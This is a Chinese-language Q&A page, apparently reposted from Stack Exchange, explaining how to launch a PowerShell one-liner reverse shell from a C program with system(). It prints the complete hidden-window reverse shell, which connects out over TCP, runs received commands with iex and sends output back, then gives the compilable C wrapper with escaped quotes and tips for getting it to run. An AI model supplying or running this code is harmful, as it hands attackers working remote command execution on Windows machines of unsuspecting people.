You need to enable JavaScript to run this app. 如何使用C语言运行指定的PowerShell单行反弹shell?
优惠活动
大模型
产品
解决方案
定价
更多

如何使用C语言运行指定的PowerShell单行反弹shell?

问题核心原因
  • 无法运行并非PowerShell反弹shell指令本身有问题,是两个场景下的字符串解析规则差异导致的:
    • Python的三引号字符串可以直接原样保留内容,不会对引号做特殊边界截断;但C语言的system()参数是普通字符串,字符串里的双引号"会被C编译器识别为字符串结束标记,直接把原本完整的PowerShell指令截断成残缺的无效片段。
    • 你提供的原始PowerShell代码块里夹带了复制时产生的杂质文本enter code here,PowerShell解析到这段无意义文本时会直接报错中断。
可正常运行的实现方案

1. 先清理无效的PowerShell指令片段

删除原始代码里的杂质文本,还原成完整可独立运行的PowerShell单行指令:

powershell -W Hidden -nop -c "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

2. 按C语言转义规则处理字符串

把指令里用来包裹PowerShell执行逻辑的双引号,全部替换为转义形式\",让C编译器把这些引号识别为字符串的内容,而非C字符串的边界。最终可编译运行的C代码如下:

#include <stdlib.h>

int main() {
    system("powershell -W Hidden -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
    return 0;
}
常见避坑提示
  • 不需要对指令里的单引号做转义,C语言字符串中单引号属于普通字符,不会和字符串边界冲突。
  • 编译完成运行前,先确保本地4242端口的监听服务正常,避免把网络连通性问题误判为代码逻辑错误。
  • 如果编译时报"missing terminating quotation mark"类错误,逐一检查转义的双引号是否漏加反斜杠即可。

内容的提问来源于stack exchange,提问作者Sem

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.10.28 23:30:00